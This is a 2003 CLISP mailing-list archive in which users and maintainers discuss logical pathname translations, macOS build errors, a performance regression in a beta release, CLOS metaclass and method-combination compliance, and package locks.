;; We must go thru a translation because
;; defsystem-3.x is not a valid logical name!
(SETF (LOGICAL-PATHNAME-TRANSLATIONS "DEFSYSTEM")
      '(( "**;*"  "/local/share/lisp/clocc/clocc/src/defsystem-3.x/**/*")
        ( "**;*"  "/local/share/lisp/clocc/clocc/src/defsystem-3.x/**/*.*=
")
        ( "**;*"  "/local/share/lisp/clocc/clocc/src/defsystem-3.x/**/*.*=
.*")))

(format t "~&tr=3D~S~%" (logical-pathname-translations "DEFSYSTEM"))

(LOAD "DEFSYSTEM:DEFSYSTEM.LISP")

;; ----------------------------------------------------------------------

;;;; .clisprc.lisp                    -- 2003-08-14 04:58:52 -- pascal   =
;;;;
[pascal@thalassa pascal]$=20


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> * In message <20030814030609.1F6F0B6238@thalassa.informatimago.com>
> * On the subject of "discrepancy between clisp and #!/bin/clisp"
> * Sent on Thu, 14 Aug 2003 05:06:09 +0200 (CEST)
> * Honorable Pascal Bourguignon <pjb@informatimago.com> writes:
>
> I've got this problem with clisp-2.30: a file loaded thru a logical
> pathname translation is visible and correctly loaded by clisp when
> invoked from the command line, but not when invoked from a script
> starting with #!/.../clisp.

maybe you are getting different images?
(one is -ansi and the other -traditional)


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John K. Hinsdale writes:

 > Also, may I ask what version of GCC Linux CLISP users are using?  I've
 > been living in fear of GCC 3 for some time now having had a lot of
 > problems w/ hte early versions.

I'm using GCC 3.2.2.


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Sam Steingold writes:
> > * In message <20030814030609.1F6F0B6238@thalassa.informatimago.com>
> > * On the subject of "discrepancy between clisp and #!/bin/clisp"
> > * Sent on Thu, 14 Aug 2003 05:06:09 +0200 (CEST)
> > * Honorable Pascal Bourguignon <pjb@informatimago.com> writes:
> >
> > I've got this problem with clisp-2.30: a file loaded thru a logical
> > pathname translation is visible and correctly loaded by clisp when
> > invoked from the command line, but not when invoked from a script
> > starting with #!/.../clisp.
>=20
> maybe you are getting different images?
> (one is -ansi and the other -traditional)

Right, I forgot that my command-line "clisp" was an alias with -ansi.
Adding -ansi to my #! script makes it work.

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> * In message <m38yq96pju.fsf@hamster.pflaesterer.de>
> * On the subject of "Re: Re: Clisp (cvs) cygwin and readline"
> * Sent on Tue, 05 Aug 2003 00:26:18 +0200
> * Honorable sigurd@12move.de (Karl Pflästerer) writes:
>
> > are you running on a cygwin xterm/rxvt?
> 
> Yes (in rxvt).  But I tried it also in a plain windows command.com.
> The same result.

this is weird. what version of windows?

please run under gdb and report what these return:

isatty(0)
isatty(1)
isatty(2)
ttyname(0)
ttyname(1)
ttyname(2)

thanks.

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> * In message <Pine.LNX.4.44.0308121008030.18896-100000@ashi.FootPrints.net>
> * On the subject of "Re: macro problem"
> * Sent on Tue, 12 Aug 2003 10:14:01 -0700 (PDT)
> * Honorable Kaz Kylheku <kaz@ashi.footprints.net> writes:
>
> What's broken here, I think, is that the destructuring error is not
> signaled. There are only two parameters given for the nested lambda
> list (a b c).

I just fixed this in the CVS.

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i read in the documentation that clisp should build on osx, so i'm 
trying.

i've pulled the 2.30 distribution and am trying to follow the 
instructions. i'm using the standard apply development tools, as 
installed from Dec2002DevToolsCD.dmg. given osx 10.2.6, when i attempt 
to run configure, as in,

   ./configure with-apple-devtools

it runs to the point where it appears to trip over a syntax error in a 
shell file. as in,

creating libtool
checking for langinfo.h... no
checking for nl_langinfo... no
checking for nl_langinfo and CODESET... no
checking whether we are using the GNU C Library 2.1 or newer... no
checking for stddef.h... yes
checking for stdlib.h... (cached) yes
checking for string.h... (cached) yes
checking for setlocale... yes
updating cache ../config.cache
creating ./config.status
creating Makefile
creating lib/Makefile
creating config.h
config.h is unchanged
case "darwin6.6" in \
   aix3*) syntax=aix.old;; \
   aix*) syntax=aix.new;; \
   linux*) syntax=linux;; \
   *) syntax=sysv4;; \
esac; \
/bin/sh ./libtool --mode=compile gcc -x none -c 
../../ffcall/avcall/avcall-rs6000-${syntax}.s ; \
cp avcall-rs6000-${syntax}.lo avcall-rs6000.lo ; rm -f 
avcall-rs6000-${syntax}.lo ; \
if test -f avcall-rs6000-${syntax}.o; then mv avcall-rs6000-${syntax}.o 
avcall-rs6000.o; fi
gcc -x none -c ../../ffcall/avcall/avcall-rs6000-sysv4.s -o 
avcall-rs6000-sysv4.o
avcall-rs6000.c:3:Expected comma after segment-name
avcall-rs6000.c:3:Rest of line ignored. 1st junk character valued 32 ( 
).
avcall-rs6000.c:5:Unknown pseudo-op: .type
avcall-rs6000.c:5:Rest of line ignored. 1st junk character valued 95 
(_).
avcall-rs6000.c:5:Invalid mnemonic 'function'


is there a know fix for this?

if i just make believe this doesn't matter and continue as instructed, 
when i attempt make, the following eventually occurs

...

ln -s ../src/version.h version.h
gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type  
-fomit-frame-pointer -Wno-sign-compare -O2 --traditional-cpp -DUNICODE 
-DNO_GETTEXT -DNO_SIGSEGV -c spvw.c
lispbibl.d:1950: unbalanced #endif
lispbibl.d:6683: unterminated #else conditional
spvw_objsize.d:110: unterminated #else conditional
make: *** [spvw.o] Error 1
[tschichold:Source/clisp-2.30/with-apple-devtools]

is there a known fix for this?

thanks
...



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> i read in the documentation that clisp should build on osx, so i'm 
> trying.
>
> i've pulled the 2.30 distribution and am trying to follow the 
> instructions. i'm using the standard apply development tools, as 
> installed from Dec2002DevToolsCD.dmg. given osx 10.2.6, when i attempt 
> to run configure, as in,
>
>   ./configure with-apple-devtools
>
> it runs to the point where it appears to trip over a syntax error in a 
> shell file. as in,

Take a look at unix/PLATFORMS for the shell you need to do the 
configure with. Unfortunately, even with a good config I was getting 
the same preprocessor error. I've been able to limp along with the 1.29 
binary, so I haven't dove in to look at this in detail. I had pinged 
Sam about it and was waiting to see if any of the previous Mac porters 
were still active.
> ln -s ../src/version.h version.h
> gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type  
> -fomit-frame-pointer -Wno-sign-compare -O2 --traditional-cpp -DUNICODE 
> -DNO_GETTEXT -DNO_SIGSEGV -c spvw.c
> lispbibl.d:1950: unbalanced #endif
> lispbibl.d:6683: unterminated #else conditional
> spvw_objsize.d:110: unterminated #else conditional
> make: *** [spvw.o] Error 1
> [tschichold:Source/clisp-2.30/with-apple-devtools]
>
> is there a known fix for this?
>

My hunch  (not even a guess) is that somewhere darwin6.6 is passed in 
but 'darwin' is what is being tested for. Not (yet) being a autoconf 
wiz, I don't really know. FWIW, if anything.

Doug



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Date: Fri Aug 15 09:43:03 2003
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On Friday, Aug 15, 2003, at 16:58 Europe/Berlin, Douglas Philips wrote:
>
> Take a look at unix/PLATFORMS for the shell you need to do the 
> configure with. Unfortunately, even with a good config I was getting 
> the same preprocessor error. I've been able to limp along with the 
> 1.29 binary,

that was a useful clue. i've no intrinsic interest in building from 
source, but must have overlooked the -darwin- entry under 2.29.
so now i've pulled that too. only thing, it wouldn't link. at least not 
where i put it. but i noticed that fink claimed availability of 2.29, 
so i just let it install that, which appears to have worked. in any 
case, w.r.t. the earlier attempt, i had tried it both with the 
suggested bash and with the standard tcsh shell.


now that it is running, i have more questions. at the moment, about 
logical pathnames.

should one expect logical pathnames to work correctly? are there any 
patches for them?

1. i would expect pathname to returns a logical pathname in the case:

[1]> (pathname "xml:xml-grammar.bnf")
#P"xml:xml-grammar.bnf"
[2]> (type-of *)
PATHNAME


2. given the logical host definition attached below i would expect the 
following example to have translated the pathname

[28]> (translate-logical-pathname #p"xml:xml-grammar.bnf")
#P"xml:xml-grammar.bnf"


3. what is the issue behind this error message?

[22]> (TRANSLATE-LOGICAL-PATHNAME "xml:code;patch;cmucl.lisp")

1. Trace: (TRANSLATE-LOGICAL-PATHNAME '"xml:code;patch;cmucl.lisp")
*** - TRANSLATE-PATHNAME: replacement pieces ((:DIRECTORY "patch") 
"cmucl" "lisp" NIL) do not fit into #P"xml:root;code;**;*.*.*"
1. Break [23]> :a

[24]> (TRANSLATE-LOGICAL-PATHNAME "xml:code;patch;cmucl.lisp.newest")

1. Trace: (TRANSLATE-LOGICAL-PATHNAME 
'"xml:code;patch;cmucl.lisp.newest")
*** - TRANSLATE-PATHNAME: replacement pieces ((:DIRECTORY "patch") 
"cmucl" "lisp" NIL) do not fit into #P"xml:root;code;**;*.*.*"
1. Break [25]>



the logical host definition was as follows

2. Break [4]> (logical-pathname-translations "xml")
((#S(LOGICAL-PATHNAME :HOST "XML" :DEVICE NIL
      :DIRECTORY (:ABSOLUTE :WILD-INFERIORS) :NAME :WILD :TYPE "BIN" 
:VERSION :WILD)
   #P"*.fas")
  (#S(LOGICAL-PATHNAME :HOST "XML" :DEVICE NIL
      :DIRECTORY (:ABSOLUTE :WILD-INFERIORS) :NAME :WILD :TYPE "BIN" 
:VERSION :WILD)
   #P"*.fas")
  (#S(LOGICAL-PATHNAME :HOST "XML" :DEVICE NIL
      :DIRECTORY (:ABSOLUTE "CODE" :WILD-INFERIORS) :NAME :WILD :TYPE 
:WILD
      :VERSION :WILD)
   "xml:root;code;**;*.*.*")
  (#S(LOGICAL-PATHNAME :HOST "XML" :DEVICE NIL
      :DIRECTORY (:ABSOLUTE "ROOT" :WILD-INFERIORS) :NAME :WILD :TYPE 
:WILD
      :VERSION :WILD)
   #P"/Development/Source/cl-xml-0-949/**/*.*")
  (#S(LOGICAL-PATHNAME :HOST "XML" :DEVICE NIL
      :DIRECTORY (:ABSOLUTE :WILD-INFERIORS) :NAME :WILD :TYPE "BNF" 
:VERSION :WILD)
   "xml:root;bnf;*.*.*")
  (#S(LOGICAL-PATHNAME :HOST "XML" :DEVICE NIL
      :DIRECTORY (:ABSOLUTE :WILD-INFERIORS) :NAME :WILD :TYPE "BNF" 
:VERSION :WILD)
   "xml:root;bnf;*.*.*")
  (#S(LOGICAL-PATHNAME :HOST "XML" :DEVICE NIL
      :DIRECTORY (:ABSOLUTE :WILD-INFERIORS) :NAME :WILD :TYPE :WILD 
:VERSION :WILD)
   "xml:root;**;*.*.*"))


...



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> * In message <EA5AA11D-CF28-11D7-80FF-000393BB8814@setf.de>
> * On the subject of "clisp on osx"
> * Sent on Fri, 15 Aug 2003 16:01:06 +0200
> * Honorable james anderson <james.anderson@setf.de> writes:
>
> it runs to the point where it appears to trip over a syntax error in a
> shell file. as in,

try
$ CONFIG_SHELL=/bin/bash ./configure ...

> case "darwin6.6" in \
>    aix3*) syntax=aix.old;; \
>    aix*) syntax=aix.new;; \
>    linux*) syntax=linux;; \
>    *) syntax=sysv4;; \
> esac; \
> /bin/sh ./libtool --mode=compile gcc -x none -c 
> ../../ffcall/avcall/avcall-rs6000-${syntax}.s ; \
> cp avcall-rs6000-${syntax}.lo avcall-rs6000.lo ; rm -f 
> avcall-rs6000-${syntax}.lo ; \
> if test -f avcall-rs6000-${syntax}.o; then mv avcall-rs6000-${syntax}.o
> avcall-rs6000.o; fi
> gcc -x none -c ../../ffcall/avcall/avcall-rs6000-sysv4.s -o 
> avcall-rs6000-sysv4.o
> avcall-rs6000.c:3:Expected comma after segment-name
> avcall-rs6000.c:3:Rest of line ignored. 1st junk character valued 32 (
> ).
> avcall-rs6000.c:5:Unknown pseudo-op: .type
> avcall-rs6000.c:5:Rest of line ignored. 1st junk character valued 95
> (_).
> avcall-rs6000.c:5:Invalid mnemonic 'function'

try other syntaxes?


> gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type
> -fomit-frame-pointer -Wno-sign-compare -O2 --traditional-cpp -DUNICODE
> -DNO_GETTEXT -DNO_SIGSEGV -c spvw.c
> lispbibl.d:1950: unbalanced #endif
> lispbibl.d:6683: unterminated #else conditional
> spvw_objsize.d:110: unterminated #else conditional
> make: *** [spvw.o] Error 1

did you see any errors in processing lispbibl.d --> lispbibl.c?

please try cvs head - there have been many many changes...

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On Friday, Aug 15, 2003, at 18:49 Europe/Berlin, Sam Steingold wrote:

>> * In message <EA5AA11D-CF28-11D7-80FF-000393BB8814@setf.de>
>> * On the subject of "clisp on osx"
>> * Sent on Fri, 15 Aug 2003 16:01:06 +0200
>> * Honorable james anderson <james.anderson@setf.de> writes:
>>
>> it runs to the point where it appears to trip over a syntax error in a
>> shell file. as in,
>
> try
> $ CONFIG_SHELL=/bin/bash ./configure ...

i had. to the same effect.
>
>> case "darwin6.6" in \
>>    aix3*) syntax=aix.old;; \
>>    aix*) syntax=aix.new;; \
>>    linux*) syntax=linux;; \
>>    *) syntax=sysv4;; \
>> esac; \
>> /bin/sh ./libtool --mode=compile gcc -x none -c
>> ../../ffcall/avcall/avcall-rs6000-${syntax}.s ; \
>> cp avcall-rs6000-${syntax}.lo avcall-rs6000.lo ; rm -f
>> avcall-rs6000-${syntax}.lo ; \
>> if test -f avcall-rs6000-${syntax}.o; then mv 
>> avcall-rs6000-${syntax}.o
>> avcall-rs6000.o; fi
>> gcc -x none -c ../../ffcall/avcall/avcall-rs6000-sysv4.s -o
>> avcall-rs6000-sysv4.o
>> avcall-rs6000.c:3:Expected comma after segment-name
>> avcall-rs6000.c:3:Rest of line ignored. 1st junk character valued 32 (
>> ).
>> avcall-rs6000.c:5:Unknown pseudo-op: .type
>> avcall-rs6000.c:5:Rest of line ignored. 1st junk character valued 95
>> (_).
>> avcall-rs6000.c:5:Invalid mnemonic 'function'
>
> try other syntaxes?

i'll keep that in mind if i have to go back to building from source.
suggestions as to which? would "linux" be the place to start?
pointers as to which file was problematic so that i might compare it 
with the version which fink managed to build?

>
>
>> gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type
>> -fomit-frame-pointer -Wno-sign-compare -O2 --traditional-cpp -DUNICODE
>> -DNO_GETTEXT -DNO_SIGSEGV -c spvw.c
>> lispbibl.d:1950: unbalanced #endif
>> lispbibl.d:6683: unterminated #else conditional
>> spvw_objsize.d:110: unterminated #else conditional
>> make: *** [spvw.o] Error 1
>
> did you see any errors in processing lispbibl.d --> lispbibl.c?
>

> please try cvs head - there have been many many changes...
>

will do, if i need to build from source.

...



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> * In message <7001AEBA-CF3B-11D7-80FF-000393BB8814@setf.de>
> * On the subject of "logical pathnames [ was:  clisp on osx"
> * Sent on Fri, 15 Aug 2003 18:13:41 +0200
> * Honorable james anderson <james.anderson@setf.de> writes:
>
> 1. i would expect pathname to returns a logical pathname in the case:
> 
> [1]> (pathname "xml:xml-grammar.bnf")
> #P"xml:xml-grammar.bnf"
> [2]> (type-of *)
> PATHNAME

<http://clisp.cons.org/impnotes.html#parsename>
<http://clisp.cons.org/impnotes.html#ansi>

> 2. given the logical host definition attached below i would expect the
>    following example to have translated the pathname
> 
> [28]> (translate-logical-pathname #p"xml:xml-grammar.bnf")
> #P"xml:xml-grammar.bnf"

the argument was not a logical pathname.

> 3. what is the issue behind this error message?
> 
> [22]> (TRANSLATE-LOGICAL-PATHNAME "xml:code;patch;cmucl.lisp")
> 
> 1. Trace: (TRANSLATE-LOGICAL-PATHNAME '"xml:code;patch;cmucl.lisp")
> *** - TRANSLATE-PATHNAME: replacement pieces ((:DIRECTORY "patch")
>       "cmucl" "lisp" NIL) do not fit into #P"xml:root;code;**;*.*.*"

you need separate entries:
(("**/*" "...**/*")
 ("**/*.*" "...**/*.*")
 ("**/*.*.*" "...**/*.*.*"))



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I notice a performance degradation on the native windows version 2.30.1 beta
vs the 2.30 release. I thought I would pass this information on incase it
hadn't been previously discovered.  Running the following code snippet
compiled to a .fas file, the beta version takes nearly 3 times as long to
run. I'm currently on XP Pro. I also noticed the size of the lisp.exe file
has grown by almost a megabyte.

(let ((x 0) (y 0) start stop elapsed)
    (setq start (GET-INTERNAL-RUN-TIME))
    (loop for i from 1 to 10000000 do
         (setq x i)
         (setq y (* i i)))
    (format t "x=~D y=~D~%" x y)
    (setq stop (GET-INTERNAL-RUN-TIME))
    (setq elapsed (- stop start))
    (format t "elapsed time: ~F seconds~%" (/ elapsed
INTERNAL-TIME-UNITS-PER-SECOND))
)

Output from version 2.30.1 beta
x=10000000 y=100000000000000
elapsed time: 19.18759 seconds

Output from version 2.30
x=10000000 y=100000000000000
elapsed time: 6.7296767 seconds

I also see this message printed to the console and have found no way to
disable it. Hopefully this message will be removed in the future.

Reserved address range 0x1a4b0000-0x5ad6ffff .
STACK depth: 16363

Hope you find this info useful.



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On Friday, Aug 15, 2003, at 22:14 Europe/Berlin, Sam Steingold wrote:

>> * In message <7001AEBA-CF3B-11D7-80FF-000393BB8814@setf.de>
>> * On the subject of "logical pathnames [ was:  clisp on osx"
>> * Sent on Fri, 15 Aug 2003 18:13:41 +0200
>> * Honorable james anderson <james.anderson@setf.de> writes:
>>
>> 1. i would expect pathname to returns a logical pathname in the case:
>>
>> [1]> (pathname "xml:xml-grammar.bnf")
>> #P"xml:xml-grammar.bnf"
>> [2]> (type-of *)
>> PATHNAME
>
i thought i had tried it with -ansi for these reasons. i'll try it 
again, is this perhaps a known 2.29 bug?

> <http://clisp.cons.org/impnotes.html#parsename>
> <http://clisp.cons.org/impnotes.html#ansi>
>
>> 2. given the logical host definition attached below i would expect the
>>    following example to have translated the pathname
>>
>> [28]> (translate-logical-pathname #p"xml:xml-grammar.bnf")
>> #P"xml:xml-grammar.bnf"
>

part of the problem is that the initial datum was a string. see above. 
(the example is out of context.)

> the argument was not a logical pathname.

the reader macro is defined to act as if it applies parse-namestring to 
the argument. it should have produced a logical pathname.

>
>> 3. what is the issue behind this error message?
>>
>> [22]> (TRANSLATE-LOGICAL-PATHNAME "xml:code;patch;cmucl.lisp")
>>
>> 1. Trace: (TRANSLATE-LOGICAL-PATHNAME '"xml:code;patch;cmucl.lisp")
>> *** - TRANSLATE-PATHNAME: replacement pieces ((:DIRECTORY "patch")
>>       "cmucl" "lisp" NIL) do not fit into #P"xml:root;code;**;*.*.*"
>
> you need separate entries:
> (("**/*" "...**/*")
>  ("**/*.*" "...**/*.*")
>  ("**/*.*.*" "...**/*.*.*"))

is this really necessary? there are other lisps which automatically 
transform the "incomplete" entries to add the missing components. i'll 
have to check what they will do with the triplicate entries.

in any case i had wondered about that, which is why i had tried the 
second case in my message

[24]> (TRANSLATE-LOGICAL-PATHNAME "xml:code;patch;cmucl.lisp.newest")

1. Trace: (TRANSLATE-LOGICAL-PATHNAME 
'"xml:code;patch;cmucl.lisp.newest")
*** - TRANSLATE-PATHNAME: replacement pieces ((:DIRECTORY "patch") 
"cmucl" "lisp" NIL) do not fit into #P"xml:root;code;**;*.*.*"
1. Break [25]>

...



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is there something special required to defining metaclasses?

an attempt to do it in a standard way fails:

[39]> (defclass funcallable-clause-metaobject-class (standard-class) ())

*** - DEFCLASS FUNCALLABLE-CLAUSE-METAOBJECT-CLASS: superclass 
#<STRUCTURE-CLASS STANDARD-CLASS> should belong to class STANDARD-CLASS
1. Break [40]> :a

i observe that
[45]> (clos::standard-class-p (find-class 'clos::standard-class))
NIL

and

[47]> (defclass funcallable-clause-metaobject-class (standard-class) ()
          (:metaclass STRUCTURE-CLASS))
#<STRUCTURE-CLASS FUNCALLABLE-CLAUSE-METAOBJECT-CLASS>


is this the way things are supposed to be?
(n.b. i'm now in "maximum" ansi mode)
...



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hello again;

i'm still inching forwards with compiling cl-xml on clisp and i have a 
few more questions. none of the observations are new, it's just that it 
would be nice to be able to guage how much time this is going to take, 
and some idea of whether there might be plans to address any of these 
issues in the near future - or one the other hand how intrinsic they 
are to clisp, might give me an idea of whether it is worth spending the 
time adapting to them

1. logical pathnames :

as per earlier correspondence, translation must be expressed with 
exactly the correct components as the object. is there any chance that 
this will change?


2. documentation does not accept a package, is not a generic, and there 
is no setf.

i've taken to redefining it, but it is not clear what idiom the 
compiler requires. i do not really want to do it at compile time, but 
i've yet to succeed at getting a redefinition wrapped in an 
ext:without-package-lock form to compile.


3.metaclass defnitions require a (:metaclass structure-class)

i noted this in an earlier message, is this correct?


4. defclass does not support forward references

if could see this between compilation units, but it's really an 
inconvenience within a single file. it makes it difficult to lay out 
definitions in alphabetical - or some other lexically convenient  - 
order, without running afoul of the restriction. any prospects for 
improvement?


5. only the standard method combination

it is easy enough to avoid defining new method combinations for the 
time being, but it's not very productive to not have the simpler 
combinations like and, or, progn. any prospects for improvement?


those are the issues i've noticed at about 50% through. i can't get 
much further without a workaround for method combinations, and it makes 
sense to ask what the future might look like before i do anything 
further.

i'd appreciate any insights anyone has about these - and other - 
conformance issues before i proceed much further.

thanks,
...



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> * In message <001c01c36375$40e8d4f0$81a2590c@mako>
> * On the subject of "Observations on 2.30.1 beta"
> * Sent on Fri, 15 Aug 2003 17:35:42 -0400
> * Honorable "John" <john.derrick@worldnet.att.net> writes:
>
> I notice a performance degradation on the native windows version 2.30.1 beta
> vs the 2.30 release. I thought I would pass this information on incase it
> hadn't been previously discovered.  Running the following code snippet
> compiled to a .fas file, the beta version takes nearly 3 times as long to
> run. I'm currently on XP Pro. I also noticed the size of the lisp.exe file
> has grown by almost a megabyte.
> 
> (let ((x 0) (y 0) start stop elapsed)
>     (setq start (GET-INTERNAL-RUN-TIME))
>     (loop for i from 1 to 10000000 do
>          (setq x i)
>          (setq y (* i i)))
>     (format t "x=~D y=~D~%" x y)
>     (setq stop (GET-INTERNAL-RUN-TIME))
>     (setq elapsed (- stop start))
>     (format t "elapsed time: ~F seconds~%" (/ elapsed
> INTERNAL-TIME-UNITS-PER-SECOND))
> )
> 
> Output from version 2.30.1 beta
> x=10000000 y=100000000000000
> elapsed time: 19.18759 seconds
> 
> Output from version 2.30
> x=10000000 y=100000000000000
> elapsed time: 6.7296767 seconds
> 
> I also see this message printed to the console and have found no way to
> disable it. Hopefully this message will be removed in the future.
> 
> Reserved address range 0x1a4b0000-0x5ad6ffff .
> STACK depth: 16363

this means that you compiled --with-debug, meaning that most
optimizations are off.

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> * In message <185F799A-D015-11D7-9068-000393BB8814@setf.de>
> * On the subject of "clisp port of cl-xml"
> * Sent on Sat, 16 Aug 2003 20:11:45 +0200
> * Honorable james anderson <james.anderson@setf.de> writes:
>
> i'm still inching forwards with compiling cl-xml on clisp and i have a
> few more questions. none of the observations are new, it's just that
> it would be nice to be able to guage how much time this is going to
> take, and some idea of whether there might be plans to address any of
> these issues in the near future - or one the other hand how intrinsic
> they are to clisp, might give me an idea of whether it is worth
> spending the time adapting to them
> 
> 1. logical pathnames :
> 
> as per earlier correspondence, translation must be expressed with
> exactly the correct components as the object. is there any chance that
> this will change?

I am not sure CLISP is non-compliant here.
Other implementations might be providing an extension.
Patches are welcome.

> 2. documentation does not accept a package, is not a generic, and
>    there is no setf.

fixed in the CVS.

> 3.metaclass defnitions require a (:metaclass structure-class)
> i noted this in an earlier message, is this correct?

CLISP is indeed not compliant here: STANDARD-OBJECT is supposed to be a
STANDARD-CLASS and it is actually a STRUCTURE-CLASS.

I am not sure how to fix this.

> 4. defclass does not support forward references

fixed in the CVS

> 5. only the standard method combination
> 
> it is easy enough to avoid defining new method combinations for the time
> being, but it's not very productive to not have the simpler combinations
> like and, or, progn. any prospects for improvement?

Bruno said earlier this year that he was thinking about adding this
feature, but I am not sure how far he got with it.

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Is there an internet repository for high quality
CLOS class libraries?

-jim



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in summary, it appears that it would be wise to build the latest source.

as my most recent serious experience with shell scripts predates clisp, 
i would benefit from more elaborate hints as to how to approach the 
problem with the syntax specification which i noted in an earlier post.
? where could one specify "darwin" v/s "darwin6.6" v/s one of the other 
values in the displayed case statement?
? which shell script is actually exhibiting this problem?

On Sunday, Aug 17, 2003, at 03:52 Europe/Berlin, Sam Steingold wrote:

>> ...
>> 1. logical pathnames :
>>
>> as per earlier correspondence, translation must be expressed with
>> exactly the correct components as the object. is there any chance that
>> this will change?
>
> I am not sure CLISP is non-compliant here.

my interpretation is that it devolves down to pathname-match-p, which 
is defined to interpret any missing components as if they were :wild. 
which means that "**;*"  should be treated the same as "**;*.*.*".

> Other implementations might be providing an extension.
> Patches are welcome.

first i have to get it to compile.

>
>> 2. documentation does not accept a package, is not a generic, and
>>    there is no setf.
>

ok.

what about the second part of the question: how to redefine functions 
in a locked package in a file-to-be-compiled?
is there an alternative to globally unlocking the package?

without regard to the state documentation support, i do this with 
functions which some implementations make generic but others do not. 
things like stream-element-type and simple-confition-format-*. i 
realize it is non-conformant to do this, and i noted when reading your 
clos code that it appears that clisp tracks those functions what are 
specified to be user-extensible, but i would like to maintain the 
practice none-the-less, so i would appreciate any advice as to how to 
do so "properly" in clisp.

>> 3.metaclass defnitions require a (:metaclass structure-class)
>> i noted this in an earlier message, is this correct?
>
> CLISP is indeed not compliant here: STANDARD-OBJECT is supposed to be a
> STANDARD-CLASS and it is actually a STRUCTURE-CLASS.

i just #+ it. it only matters whether i'd need to make it clisp version 
dependant.

>
>> 4. defclass does not support forward references
>

ok.

>> 5. only the standard method combination
>>
>> it is easy enough to avoid defining new method combinations for the 
>> time
>> being, but it's not very productive to not have the simpler 
>> combinations
>> like and, or, progn. any prospects for improvement?
>
> Bruno said earlier this year that he was thinking about adding this
> feature, but I am not sure how far he got with it.

as in interim approach, just so i don't need to rewrite my generic 
function definitions, i'd be tempted to factor support for the 
predefined operator combinations out of 
clos.lisp#compute-effective-method, without adding any support for 
defining new combinations.

...



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Jim Newton writes:
> Is there an internet repository for high quality
> CLOS class libraries?
>=20
> -jim

Not specfic to clos, but for common-lisp packages in general, there is
clocc and cclan:

      http://www.cliki.net/cclan
      http://www.cliki.net/CLOCC   http://clocc.sourceforge.net/

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> * In message <9E3B620A-D0AF-11D7-9068-000393BB8814@attglobal.net>
> * On the subject of "Re: clisp port of cl-xml"
> * Sent on Sun, 17 Aug 2003 14:37:52 +0200
> * Honorable james anderson <janson2@attglobal.net> writes:
>
> in summary, it appears that it would be wise to build the latest source.
indeed.

> as my most recent serious experience with shell scripts predates clisp,
> i would benefit from more elaborate hints as to how to approach the
> problem with the syntax specification which i noted in an earlier post.
> ? where could one specify "darwin" v/s "darwin6.6" v/s one of the other
> values in the displayed case statement?
> ? which shell script is actually exhibiting this problem?

no idea.
Bruno?

> On Sunday, Aug 17, 2003, at 03:52 Europe/Berlin, Sam Steingold wrote:
> 
> >> 1. logical pathnames :
> >>
> >> as per earlier correspondence, translation must be expressed with
> >> exactly the correct components as the object. is there any chance that
> >> this will change?
> >
> > I am not sure CLISP is non-compliant here.
> 
> my interpretation is that it devolves down to pathname-match-p, which
> is defined to interpret any missing components as if they were
> :wild. which means that "**;*" should be treated the same as
> "**;*.*.*".

OK, I fixed this in the CVS - please try the head.

> what about the second part of the question: how to redefine functions in
> a locked package in a file-to-be-compiled?
> is there an alternative to globally unlocking the package?

you should never globally unlock a package (unless you are a CLISP
developer).

when do you get this package lock error?
I don't quite understand what you are doing.
a small code snippet might help.

> >> 3.metaclass defnitions require a (:metaclass structure-class)
> >> i noted this in an earlier message, is this correct?
> >
> > CLISP is indeed not compliant here: STANDARD-OBJECT is supposed to be a
> > STANDARD-CLASS and it is actually a STRUCTURE-CLASS.
> 
> i just #+ it. it only matters whether i'd need to make it clisp
> version dependant.

Bruno, maybe it would made sense for the metaclass option to default to
the (common!) metaclass of the superclasses?

> >> 5. only the standard method combination
> >>
> >> it is easy enough to avoid defining new method combinations for the
> >> time being, but it's not very productive to not have the simpler
> >> combinations like and, or, progn. any prospects for improvement?
> >
> > Bruno said earlier this year that he was thinking about adding this
> > feature, but I am not sure how far he got with it.
> 
> as in interim approach, just so i don't need to rewrite my generic
> function definitions, i'd be tempted to factor support for the
> predefined operator combinations out of
> clos.lisp#compute-effective-method, without adding any support for
> defining new combinations.

again, patches are welcome (the more general the better ;-))


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On Monday, Aug 18, 2003, at 20:27 Europe/Berlin, Sam Steingold wrote:

>> ...
>> what about the second part of the question: how to redefine functions 
>> in
>> a locked package in a file-to-be-compiled?
>> is there an alternative to globally unlocking the package?
>
> you should never globally unlock a package (unless you are a CLISP
> developer).
>
> when do you get this package lock error?
when i try to compile a file which attempts to redefine a function in 
the common-lisp package.
i just looked through the functions this applies to, and observe that 
but for documentation, they are cmucl-family specific and don't even 
apply to clisp. if i use the cvs, then the problem with documentation 
is no more and the issue is moot.

SIMPLE-CONDITION-FORMAT-ARGUMENTS
SIMPLE-CONDITION-FORMAT-CONTROL
SIMPLE-CONDITION-FORMAT-STRING
STREAM-ELEMENT-TYPE
DOCUMENTATION (and setf)

> I don't quite understand what you are doing.
> a small code snippet might help.

for the record, i wasn't doing anything special. just

(ext:without-package-lock
  ()
  (warn "disable lock on common-lisp: ~s" (ext:package-lock 
(find-package :common-lisp)))
  (let ((def (fdefinition 'documentation)))
    (unless (typep def 'generic-function)
      (warn "redefining ~s" def)
      (fmakunbound 'documentation)
      (defGeneric documentation (datum &optional type)
        (:method ((datum t) &optional doctype) (funcall def datum 
doctype)))))))

both with no package designators and with :COMMON-LISP.

>
>>>> ...
>> as in interim approach, just so i don't need to rewrite my generic
>> function definitions, i'd be tempted to factor support for the
>> predefined operator combinations out of
>> clos.lisp#compute-effective-method, without adding any support for
>> defining new combinations.
>
> again, patches are welcome (the more general the better ;-))
>
if the approach sounds reasonable, no problem - once i can build it.

...



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> * In message <B2DC794E-D1B1-11D7-9068-000393BB8814@attglobal.net>
> * On the subject of "Re: Re: clisp port of cl-xml"
> * Sent on Mon, 18 Aug 2003 21:25:17 +0200
> * Honorable james anderson <janson2@attglobal.net> writes:
>
> On Monday, Aug 18, 2003, at 20:27 Europe/Berlin, Sam Steingold wrote:
> >> as in interim approach, just so i don't need to rewrite my generic
> >> function definitions, i'd be tempted to factor support for the
> >> predefined operator combinations out of
> >> clos.lisp#compute-effective-method, without adding any support for
> >> defining new combinations.
> >
> > again, patches are welcome (the more general the better ;-))
> >
> if the approach sounds reasonable, no problem - once i can build it.

err, the least generality we should go for, I think, is the short
version of DEFINE-METHOD-COMBINATION.

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Hoehle, Joerg-Cyril writes:
> Hi,
>=20
> the recent thread in comp.lang.lisp started by John Proctor lead me
> to ask you the following:
>=20
